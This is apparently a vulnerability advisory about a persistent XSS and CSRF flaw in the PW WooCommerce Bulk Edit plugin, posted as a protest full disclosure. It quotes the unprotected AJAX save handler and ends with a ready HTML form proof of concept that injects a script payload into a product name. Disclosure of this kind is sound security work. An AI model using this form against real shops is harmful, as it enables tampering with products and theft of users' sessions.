24 Feb

Hackers May Already Be Targeting This Authenticated Persistent XSS Vulnerability in PW WooCommerce Bulk Edit

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins to make sure we quickly can warn our customers of unfixed vulnerabilities that hackers are likely targeting. There was probing on our website several days ago for the plugin PW WooCommerce Bulk Edit by requesting these files:

  • /wp-content/plugins/pw-bulk-edit/readme.txt
  • /wp-content/plugins/pw-bulk-edit/assets/js/results.js
  • /wp-content/plugins/pw-bulk-edit/license.txt

In a quick check over the plugin we found that it contains multiple security issues. The most likely obvious security issue that hackers would be interested on targeting based on what we saw is that anyone logged in to WordPress can change the name of a WooCommerce product to include malicious JavaScript code, which is an authenticated persistent cross-site scripting (XSS) vulnerability (through the same functionality the price and other product attributes can be changed as well).  Since the plugin extends WooCommerce and WooCommerce by default allows the public access to WordPress accounts, the access needed to exploit this would usually be easily accessible.

The issue starts with the plugin registering the function ajax_save_products() to be accessible through WordPress’ AJAX functionality to those logged in to WordPress:

102
add_action( 'wp_ajax_pwbe_save_products', array( $this, 'ajax_save_products' ) );

That registration only happens if is_admin() is true:

87
if ( is_admin() ) {

So part of the issue here might yet again be confusion over what that function does (something that was warned about before the function was introduced in to a production release of WordPress).

That function will save changes to products without doing any security checks:

185
186
187
188
189
190
191
192
193
194
function ajax_save_products() {
	register_shutdown_function( array( $this, 'save_products_exception' ) );
 
	require( 'includes/save-products.php' );
 
	if ( isset( $_POST['fields'] ) ) {
		$fields = $_POST['fields'];
 
		$save = new PWBE_Save_Products();
		$results = $save->save( $fields );

The code lacks a capabilities checks to limit access to changing the attributes to the users intended to be able to do it and a nonce check to prevent cross-site request forgery (CSRF).

As shown in the proof of concept below, there is not sanitization done when saving a change to a product’s name.

Due to the lack of a nonce check this could also be exploited through CSRF.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown on a product’s page on the website, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[Product ID]” with the ID of the product to be renamed.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pwbe_save_products" method="POST">
<input type="hidden" name="fields[0][post_id]" value="[Product  ID]" />
<input type="hidden" name="fields[0][parent_post_id]" value="[Product  ID]" />
<input type="hidden" name="fields[0][product_type]" value="simple" />
<input type="hidden" name="fields[0][field]" value="post_title" />
<input type="hidden" name="fields[0][value]" value='"><script>alert(document.cookie);</script>' />
<input type="hidden" name="fields[0][display_name]" value="Product name" />
<input type="submit"  value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.